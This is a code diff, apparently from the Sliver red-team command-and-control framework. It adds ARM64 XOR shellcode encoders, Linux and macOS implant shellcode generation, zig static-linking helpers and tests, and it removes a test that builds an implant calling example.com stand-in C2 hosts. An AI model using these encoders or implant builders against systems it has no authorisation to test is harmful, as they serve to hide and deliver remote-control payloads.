payloadTerm := out[len(out)-2:]
encodedStart := len(out) - 2 - len(payload)
if encodedStart <= 0 {
t.Fatalf("bad encodedStart: %d", encodedStart)
}
keyTerm := out[encodedStart-1]
encoded := out[encodedStart : len(out)-2]
if bytes.IndexByte(coreKey, keyTerm) != -1 {
t.Fatalf("keyTerm present in key")
}
if bytes.Contains(encoded, payloadTerm) {
t.Fatalf("payloadTerm present in encoded payload")
}
stubLen := encodedStart - 1 - len(coreKey)
if stubLen <= 0 {
t.Fatalf("unexpected stub length: %d", stubLen)
}
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
t.Fatalf("key region mismatch")
}
decoded := make([]byte, len(encoded))
for i := range encoded {
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
}
if !bytes.Equal(decoded, payload) {
t.Fatalf("decoded payload mismatch")
}
}
func TestXorDynamicRoundTripExplicitTerms(t *testing.T) {
coreKey := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
payload := bytes.Repeat([]byte{0x00}, 32)
keyTerm := byte(0xFD)
payloadTerm := []byte{0xFF, 0xFE}
keyWithTerms := make([]byte, 0, len(coreKey)+3)
keyWithTerms = append(keyWithTerms, coreKey...)
keyWithTerms = append(keyWithTerms, keyTerm)
keyWithTerms = append(keyWithTerms, payloadTerm...)
out, err := XorDynamic(payload, keyWithTerms)
if err != nil {
t.Fatalf("XorDynamic failed: %v", err)
}
if len(out) <= len(coreKey)+1+len(payload)+2 {
t.Fatalf("xor_dynamic output too short: %d", len(out))
}
if !bytes.Equal(out[len(out)-2:], payloadTerm) {
t.Fatalf("payloadTerm mismatch")
}
encodedStart := len(out) - 2 - len(payload)
if encodedStart <= 0 {
t.Fatalf("bad encodedStart: %d", encodedStart)
}
if out[encodedStart-1] != keyTerm {
t.Fatalf("keyTerm mismatch")
}
stubLen := encodedStart - 1 - len(coreKey)
if stubLen <= 0 {
t.Fatalf("unexpected stub length: %d", stubLen)
}
if !bytes.Equal(out[stubLen:stubLen+len(coreKey)], coreKey) {
t.Fatalf("key region mismatch")
}
encoded := out[encodedStart : len(out)-2]
decoded := make([]byte, len(encoded))
for i := range encoded {
decoded[i] = encoded[i] ^ coreKey[i%len(coreKey)]
}
if !bytes.Equal(decoded, payload) {
t.Fatalf("decoded payload mismatch")
}
}
func TestXorDynamicRejectsEmptyPayload(t *testing.T) {
_, err := XorDynamic(nil, []byte{0x11})
if err == nil {
t.Fatal("expected error")
}
}
func TestXorDynamicRejectsEmptyKey(t *testing.T) {
_, err := XorDynamic([]byte{0x90}, nil)
if err == nil {
t.Fatal("expected error")
}
}
+110
View File
@@ -0,0 +1,110 @@
package arm64
import (
"bytes"
"fmt"
"testing"
)
func TestXorRoundTrip(t *testing.T) {
key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
tests := [][]byte{
{0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
{0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90},
bytes.Repeat([]byte{0xAB}, 31),
bytes.Repeat([]byte{0xAB}, 32),
bytes.Repeat([]byte{0xAB}, 33),
}
for _, payload := range tests {
payload := payload
t.Run(fmt.Sprintf("len=%d", len(payload)), func(t *testing.T) {
encoded, err := Xor(payload, key)
if err != nil {
t.Fatalf("Xor failed: %v", err)
}
paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
if len(encoded) < paddedLen {
t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
}
stubLen := len(encoded) - paddedLen
if stubLen <= 0 {
t.Fatalf("unexpected stub length %d", stubLen)
}
encodedPayload := encoded[stubLen:]
decoded := make([]byte, len(encodedPayload))
copy(decoded, encodedPayload)
for i := 0; i < len(decoded); i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
decoded[i+j] ^= key[j]
}
}
if !bytes.Equal(decoded[:len(payload)], payload) {
t.Fatalf("decoded payload mismatch")
}
if !bytes.Equal(decoded[len(payload):], make([]byte, len(decoded)-len(payload))) {
t.Fatalf("decoded padding not zeroed")
}
})
}
}
func TestXorRejectsEmptyPayload(t *testing.T) {
_, err := Xor(nil, []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88})
if err == nil {
t.Fatal("expected error")
}
}
func TestXorRejectsInvalidKeyLength(t *testing.T) {
_, err := Xor([]byte{0x90}, []byte{0x01})
if err == nil {
t.Fatal("expected error")
}
}
// func TestXorGiganticKnotFixture(t *testing.T) {
// payload, err := os.ReadFile(filepath.Join("testdata", "GIGANTIC_KNOT.bin"))
// if err != nil {
// t.Fatalf("failed to read fixture: %v", err)
// }
// if len(payload) == 0 {
// t.Fatal("fixture is empty")
// }
// key := []byte{0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88}
// encoded, err := Xor(payload, key)
// if err != nil {
// t.Fatalf("Xor failed: %v", err)
// }
// paddedLen := ((len(payload) + xorBlockSize - 1) / xorBlockSize) * xorBlockSize
// if len(encoded) < paddedLen {
// t.Fatalf("encoded output too short: got=%d want>=%d", len(encoded), paddedLen)
// }
// stubLen := len(encoded) - paddedLen
// if stubLen <= 0 || stubLen%4 != 0 {
// t.Fatalf("unexpected stub length %d", stubLen)
// }
// encodedPayload := encoded[stubLen:]
// decoded := make([]byte, len(encodedPayload))
// copy(decoded, encodedPayload)
// for i := 0; i < len(decoded); i += xorBlockSize {
// for j := 0; j < xorKeySize; j++ {
// decoded[i+j] ^= key[j]
// }
// }
// if !bytes.Equal(decoded[:len(payload)], payload) {
// t.Fatalf("decoded payload mismatch")
// }
// }
+55
View File
@@ -2,6 +2,7 @@ package shellcode
import (
"github.com/bishopfox/sliver/server/encoders/shellcode/amd64"
"github.com/bishopfox/sliver/server/encoders/shellcode/arm64"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
@@ -65,6 +66,56 @@ func (e *XorDynamicEncoder) Description() string {
return "An x64 XOR encoder with dynamic key size for AMD64"
}
type XorEncoderArm64 struct{}
func (e *XorEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := arm64.XorKeyGen()
if err != nil {
return nil, err
}
encoded, err := arm64.Xor(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorEncoderArm64) Description() string {
return "Basic XOR encoder for ARM64"
}
type XorDynamicEncoderArm64 struct{}
func (e *XorDynamicEncoderArm64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
iterations := args.Iterations
if iterations <= 0 {
iterations = 1
}
for i := 0; i < iterations; i++ {
key, err := arm64.XorDynamicKeyGen()
if err != nil {
return nil, err
}
encoded, err := arm64.XorDynamic(data, key)
if err != nil {
return nil, err
}
data = encoded
}
return data, nil
}
func (e *XorDynamicEncoderArm64) Description() string {
return "A dynamic XOR encoder for ARM64"
}
type ShikataGaNaiEncoderAmd64 struct{}
func (e *ShikataGaNaiEncoderAmd64) Encode(data []byte, args ShellcodeEncoderArgs) ([]byte, error) {
@@ -92,6 +143,10 @@ var (
"xor_dynamic": &XorDynamicEncoder{},
"shikata_ga_nai": &ShikataGaNaiEncoderAmd64{},
},
"arm64": {
"xor": &XorEncoderArm64{},
"xor_dynamic": &XorDynamicEncoderArm64{},
},
"386": {
"shikata_ga_nai": &ShikataGaNaiEncoder386{},
},
+458 -30
View File
@@ -21,8 +21,10 @@ package generate
import (
"bytes"
"crypto/sha256"
"debug/elf"
"encoding/hex"
"fmt"
"io"
"io/fs"
"os"
"path"
@@ -44,6 +46,8 @@ import (
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util"
utilEncoders "github.com/bishopfox/sliver/util/encoders"
"github.com/sliverarmory/beignet"
"github.com/sliverarmory/malasada"
"golang.org/x/mod/module"
"golang.org/x/text/cases"
"golang.org/x/text/language"
@@ -115,6 +119,185 @@ const (
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
)
func isZigCC(cc string) bool {
cc = strings.TrimSpace(cc)
if cc == "" {
return false
}
parts := strings.Fields(cc)
if len(parts) == 0 {
return false
}
// We typically set CC as: "<zigpath> cc -target <triple>"
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && parts[1] == "cc" {
return true
}
// Fallback: user-provided CC might not match our canonical format.
return strings.Contains(cc, "zig cc")
}
func isZigCompilerCmd(cmd string) bool {
cmd = strings.TrimSpace(cmd)
if cmd == "" {
return false
}
parts := strings.Fields(cmd)
if len(parts) == 0 {
return false
}
// We typically set CC/CXX as: "<zigpath> cc|c++ -target <triple>"
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && (parts[1] == "cc" || parts[1] == "c++") {
return true
}
// Fallback: user-provided compilers might not match our canonical format.
return strings.Contains(cmd, "zig cc") || strings.Contains(cmd, "zig c++")
}
func ensureZigPrefixMap(cmd string) string {
if !isZigCompilerCmd(cmd) {
return cmd
}
zigDir := assets.GetZigDir()
if zigDir == "" {
return cmd
}
mapPrefix := fmt.Sprintf("-fdebug-prefix-map=%s=", zigDir)
if strings.Contains(cmd, mapPrefix) {
return cmd
}
return strings.TrimSpace(cmd + fmt.Sprintf(" -fdebug-prefix-map=%s=/zig", zigDir))
}
func appendToLDFlags(ldflags []string, extra string) []string {
extra = strings.TrimSpace(extra)
if extra == "" {
return ldflags
}
if len(ldflags) == 0 {
return []string{extra}
}
if len(ldflags) == 1 {
if strings.TrimSpace(ldflags[0]) == "" {
ldflags[0] = extra
return ldflags
}
ldflags[0] = strings.TrimSpace(ldflags[0] + " " + extra)
return ldflags
}
// go build only accepts a single argument for -ldflags, but callers may have
// mistakenly provided multiple. Coalesce into one string.
joined := strings.TrimSpace(strings.Join(ldflags, " "))
if joined == "" {
joined = extra
} else {
joined = joined + " " + extra
}
return []string{joined}
}
func applyZigStaticLinking(goConfig *gogo.GoConfig, buildmode string, ldflags []string) (updated []string, enabled bool) {
if goConfig == nil {
return ldflags, false
}
if goConfig.GOOS != LINUX {
return ldflags, false
}
if !isZigCC(goConfig.CC) {
return ldflags, false
}
// zig/clang treats `-static` + `-shared` as "build a static archive", which
// results in an ar archive misnamed as ".so". Never force `-static` for
// c-shared builds.
if buildmode == "c-shared" {
return ldflags, false
}
// Force a fully static link for Linux executables when using zig. This keeps
// cross-compiled artifacts self-contained.
ldflags = appendToLDFlags(ldflags, "-linkmode=external -extldflags=-static")
return ldflags, true
}
func sanitizeZigForBuild(goConfig *gogo.GoConfig, buildmode string) {
if goConfig == nil {
return
}
// Always apply the prefix-map flags to any zig toolchain we invoke so we
// don't leak the Sliver-managed zig root dir (often under ~/.sliver/zig) into
// build artifacts.
goConfig.CC = ensureZigPrefixMap(goConfig.CC)
goConfig.CXX = ensureZigPrefixMap(goConfig.CXX)
if goConfig.GOOS != LINUX || buildmode != "c-shared" || !isZigCC(goConfig.CC) {
return
}
// Ensure we don't accidentally carry a user-provided `-static` into a shared
// object link (zig would emit an ar archive).
stripStatic := func(cmd string) string {
parts := strings.Fields(cmd)
if len(parts) == 0 {
return cmd
}
out := make([]string, 0, len(parts))
for _, p := range parts {
if p == "-static" {
continue
}
out = append(out, p)
}
return strings.Join(out, " ")
}
goConfig.CC = stripStatic(goConfig.CC)
goConfig.CXX = stripStatic(goConfig.CXX)
// zig's default linux toolchain target in Sliver is musl, which is great for
// static executables. For shared objects, musl shared libraries are rarely
// present on the target. Prefer a glibc target for shared objects.
goConfig.CC = strings.ReplaceAll(goConfig.CC, "-linux-musl", "-linux-gnu")
goConfig.CXX = strings.ReplaceAll(goConfig.CXX, "-linux-musl", "-linux-gnu")
}
func validateELFSharedObject(path string, requireFullyStatic bool) error {
f, err := os.Open(path)
if err != nil {
return err
}
defer f.Close()
// Sniff common mis-builds first for clearer errors.
var hdr [8]byte
n, err := io.ReadFull(f, hdr[:])
if err != nil && err != io.ErrUnexpectedEOF {
return err
}
if 8 <= n && bytes.HasPrefix(hdr[:], []byte("!<arch>\n")) {
return fmt.Errorf("output %q is an ar archive (expected an ELF shared object). This usually means the build used -buildmode=c-archive or zig was invoked with -static while linking a shared object", path)
}
if n < 4 || !bytes.Equal(hdr[:4], []byte{0x7f, 'E', 'L', 'F'}) {
return fmt.Errorf("output %q does not look like an ELF file", path)
}
ef, err := elf.NewFile(f)
if err != nil {
return err
}
if ef.Type != elf.ET_DYN {
return fmt.Errorf("output %q is not an ELF shared object (ET_DYN), got %v", path, ef.Type)
}
if requireFullyStatic {
needed, err := ef.DynString(elf.DT_NEEDED)
if err != nil {
return fmt.Errorf("failed to read DT_NEEDED from %q: %w", path, err)
}
if len(needed) != 0 {
return fmt.Errorf("output %q is not fully static (DT_NEEDED=%v); this usually means zig did not link statically", path, needed)
}
}
return nil
}
// GetSliversDir - Get the binary directory
func GetSliversDir() string {
appDir := assets.GetRootAppDir()
@@ -133,11 +316,203 @@ func GetSliversDir() string {
// Sliver Generation Code
// -----------------------
// SliverShellcode - Generates a sliver shellcode using Donut
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet, Linux: malasada)
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOOS != "windows" {
return "", fmt.Errorf("shellcode format is currently only supported on Windows")
switch config.GOOS {
case WINDOWS:
return windowsShellcode(name, build, config, pbC2Implant)
case DARWIN:
return darwinShellcode(name, build, config, pbC2Implant)
case LINUX:
return linuxShellcode(name, build, config, pbC2Implant)
}
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
}
func linuxShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOARCH != "amd64" && config.GOARCH != "arm64" {
return "", fmt.Errorf("linux shellcode format not supported on %s architecture", config.GOARCH)
}
if len(config.Exports) == 0 {
return "", fmt.Errorf("linux shellcode requires at least one export symbol")
}
appDir := assets.GetRootAppDir()
var cc string
var cxx string
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
}
goConfig := &gogo.GoConfig{
CGO: "1",
CC: cc,
CXX: cxx,
GOOS: config.GOOS,
GOARCH: config.GOARCH,
GOCACHE: gogo.GetGoCache(appDir),
GOMODCACHE: gogo.GetGoModCache(appDir),
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
sanitizeZigForBuild(goConfig, "c-shared")
buildLog.Infof(" CC: %s", goConfig.CC)
buildLog.Infof("CXX: %s", goConfig.CXX)
config.IsSharedLib = true
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
}
tmpFile, err := os.CreateTemp("", "sliver-*.so")
if err != nil {
return "", err
}
tmpFile.Close()
defer os.Remove(tmpFile.Name())
soDest := tmpFile.Name()
tags := []string{}
if config.NetGoEnabled {
tags = append(tags, "netgo")
}
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
gcFlags := ""
asmFlags := ""
_, err = gogo.GoBuild(*goConfig, pkgPath, soDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
if err != nil {
return "", err
}
if goConfig.GOOS == LINUX {
if err := validateELFSharedObject(soDest, wantStaticSO); err != nil {
return "", err
}
}
compress := false
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
compress = true
}
shellcodeBin, err := malasada.ConvertSharedObject(soDest, config.Exports[0], compress)
if err != nil {
return "", err
}
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
shellcodeDest += ".bin"
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
if err != nil {
return "", err
}
return shellcodeDest, nil
}
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOARCH != "arm64" {
return "", fmt.Errorf("darwin shellcode format not supported on %s architecture", config.GOARCH)
}
if len(config.Exports) == 0 {
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
}
appDir := assets.GetRootAppDir()
var cc string
var cxx string
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
}
goConfig := &gogo.GoConfig{
CGO: "1",
CC: cc,
CXX: cxx,
GOOS: config.GOOS,
GOARCH: config.GOARCH,
GOCACHE: gogo.GetGoCache(appDir),
GOMODCACHE: gogo.GetGoModCache(appDir),
GOROOT: gogo.GetGoRootDir(appDir),
GOPROXY: getGoProxy(),
HTTPPROXY: getGoHttpProxy(),
HTTPSPROXY: getGoHttpsProxy(),
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
config.IsSharedLib = true
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
}
tmpFile, err := os.CreateTemp("", "sliver-*.dylib")
if err != nil {
return "", err
}
tmpFile.Close()
defer os.Remove(tmpFile.Name())
dylibDest := tmpFile.Name()
tags := []string{}
if config.NetGoEnabled {
tags = append(tags, "netgo")
}
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
// Keep those for potential later use
gcFlags := ""
asmFlags := ""
_, err = gogo.GoBuild(*goConfig, pkgPath, dylibDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
if err != nil {
return "", err
}
dylibData, err := os.ReadFile(dylibDest)
if err != nil {
return "", err
}
compress := false
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
compress = true
}
shellcodeBin, err := beignet.DylibToShellcode(dylibData, beignet.Options{
EntrySymbol: config.Exports[0],
Compress: compress,
})
if err != nil {
return "", err
}
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
shellcodeDest += ".bin"
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
if err != nil {
return "", err
}
return shellcodeDest, err
}
func windowsShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
if config.GOARCH != "amd64" && config.GOARCH != "386" {
return "", fmt.Errorf("windows shellcode format is only supported for amd64 and 386 architectures")
}
appDir := assets.GetRootAppDir()
goConfig := &gogo.GoConfig{
CGO: "0",
@@ -154,7 +529,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
@@ -183,7 +557,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
if err != nil {
return "", err
}
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.ShellcodeConfig)
if err != nil {
return "", err
}
@@ -228,6 +602,9 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
sanitizeZigForBuild(goConfig, "c-shared")
buildLog.Infof(" CC: %s", goConfig.CC)
buildLog.Infof("CXX: %s", goConfig.CXX)
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
@@ -250,13 +627,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
tags = append(tags, "netgo")
}
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
if !config.Debug && goConfig.GOOS == WINDOWS {
ldflags[0] += " -H=windowsgui"
}
// Statically link Linux .so files to avoid glibc hell
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
ldflags[0] += " -linkmode external -extldflags \"-static\""
}
// Keep those for potential later use
gcFlags := ""
asmFlags := ""
@@ -264,6 +639,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
if err != nil {
return "", err
}
if goConfig.GOOS == LINUX {
if err := validateELFSharedObject(dest, wantStaticSO); err != nil {
return "", err
}
}
return dest, err
}
@@ -272,18 +652,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
appDir := assets.GetRootAppDir()
// var cc string
// var cxx string
// cgo := "0"
// if runtime.GOOS != config.GOOS {
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
// cgo = "1"
// }
// buildLog.Infof(" CC: %s", cc)
// buildLog.Infof("CXX: %s", cxx)
goConfig := &gogo.GoConfig{
CGO: "0",
GOOS: config.GOOS,
@@ -342,6 +710,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
buildLog.Debugf("Generating new sliver binary '%s'", name)
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
sliversDir := GetSliversDir() // ~/.sliver/slivers
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
@@ -806,6 +1175,11 @@ func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string)
}
}
// Ensure all zig invocations have prefix maps applied (prevents absolute
// paths under the Sliver zig dir from leaking into artifacts).
cc = ensureZigPrefixMap(cc)
cxx = ensureZigPrefixMap(cxx)
return cc, cxx
}
@@ -868,18 +1242,72 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
})
}
// SHELLCODE - Can generate shellcode for Windows targets only
// SHELLCODE
// - Windows: Donut
// - macOS: beignet (darwin/arm64 only)
// - Linux: malasada (linux/{amd64,arm64} only)
for longPlatform := range SupportedCompilerTargets {
platform := strings.SplitN(longPlatform, "/", 2)
if platform[0] != WINDOWS {
continue
}
switch platform[0] {
case WINDOWS:
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
case DARWIN:
if platform[1] != "arm64" {
continue
}
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
// We can always try to build our own platform.
if runtime.GOOS == platform[0] {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
continue
}
// Cross-compile with the right configuration (same requirements as a darwin shared library build).
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
cc, _ := findCrossCompilers(platform[0], platform[1])
if cc != "" {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
}
}
case LINUX:
if platform[1] != "amd64" && platform[1] != "arm64" {
continue
}
// We can always try to build our own platform.
if runtime.GOOS == platform[0] {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
continue
}
// Cross-compile with the right configuration (same requirements as a linux shared library build).
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
cc, _ := findCrossCompilers(platform[0], platform[1])
if cc != "" {
targets = append(targets, &clientpb.CompilerTarget{
GOOS: platform[0],
GOARCH: platform[1],
Format: clientpb.OutputFormat_SHELLCODE,
})
}
}
}
}
return targets
-53
View File
@@ -28,7 +28,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
)
var (
@@ -136,10 +135,6 @@ func TestSliverSharedLibWindows(t *testing.T) {
// 386
multiLibrary(t, "windows", "386", true)
multiLibrary(t, "windows", "386", false)
// Shared Library Shellcode
multiWindowsLibraryShellcode(t, true)
multiWindowsLibraryShellcode(t, false)
}
func TestSliverExecutableLinux(t *testing.T) {
@@ -542,54 +537,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
cleanupGeneratedArtifacts(t, binPath)
}
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
config := &clientpb.ImplantConfig{
GOOS: "windows",
GOARCH: "amd64",
C2: []*clientpb.ImplantC2{
{URL: "mtls://1.example.com"},
{Priority: 2, URL: "mtls://2.example.com"},
{URL: "https://3.example.com"},
{URL: "dns://4.example.com", Options: "asdf"},
},
Debug: debug,
ObfuscateSymbols: true,
Format: clientpb.OutputFormat_SHELLCODE,
IsShellcode: true,
IsSharedLib: false,
Exports: []string{"FoobarW"},
IncludeMTLS: true,
IncludeHTTP: true,
IncludeDNS: true,
}
httpC2Config := configs.GenerateDefaultHTTPC2Config()
nonce++
build, _ := GenerateConfig(name, config)
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
if err != nil {
t.Fatalf("%v", err)
}
defer cleanupGeneratedArtifacts(t, binPath)
// encode bin with sgn
bin, err := os.ReadFile(binPath)
if err != nil {
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
}
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
Iterations: 1,
PlainDecoder: false,
Safe: true,
MaxObfuscation: 100,
})
if err != nil {
t.Fatalf("sgn encode failed: %v", err)
}
}
func symbolObfuscation(t *testing.T, goos string, goarch string) {
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
name := fmt.Sprintf("symbol_test%d", nonce)
+5 -5
View File
@@ -19,24 +19,24 @@ const (
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
pe, err := os.ReadFile(filePath)
if err != nil {
return
}
isDLL := (filepath.Ext(filePath) == ".dll")
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, shellcodeConfig)
}
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, shellcodeConfig *clientpb.ShellcodeConfig) (data []byte, err error) {
ext := ".exe"
if isDLL {
ext = ".dll"
}
_ = dotnet
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
donutOpts := normalizeDonutConfig(shellcodeConfig, createNewThread, isUnicode)
donutArch := getDonutArch(arch)
opts := wasmdonut.GenerateOptions{
@@ -73,7 +73,7 @@ type donutOptions struct {
oep uint32
}
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
func normalizeDonutConfig(config *clientpb.ShellcodeConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
opts := donutOptions{
entropy: defaultDonutEntropy,
compress: defaultDonutCompress,
+126
View File
@@ -0,0 +1,126 @@
package generate
import (
"strings"
"testing"
"github.com/bishopfox/sliver/server/gogo"
)
func TestIsZigCC(t *testing.T) {
tests := []struct {
cc string
want bool
}{
{cc: "", want: false},
{cc: "gcc", want: false},
{cc: "zig cc -target x86_64-linux-musl", want: true},
{cc: "/tmp/zig cc -target x86_64-linux-musl", want: true},
{cc: "/tmp/zig c++ -target x86_64-linux-musl", want: false},
{cc: "something zig cc something", want: true},
}
for _, tt := range tests {
if got := isZigCC(tt.cc); got != tt.want {
t.Fatalf("isZigCC(%q) = %v, want %v", tt.cc, got, tt.want)
}
}
}
func TestApplyZigStaticLinking(t *testing.T) {
cfg := &gogo.GoConfig{
GOOS: "linux",
CGO: "1",
CC: "/tmp/zig cc -target x86_64-linux-musl",
}
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
if enabled {
t.Fatalf("did not expect -static flags for c-shared (zig emits an ar archive instead of a .so)")
}
if len(ldflags) != 1 {
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
}
if ldflags[0] != "" {
t.Fatalf("expected ldflags unchanged, got %q", ldflags[0])
}
}
func TestApplyZigStaticLinking_Executable(t *testing.T) {
cfg := &gogo.GoConfig{
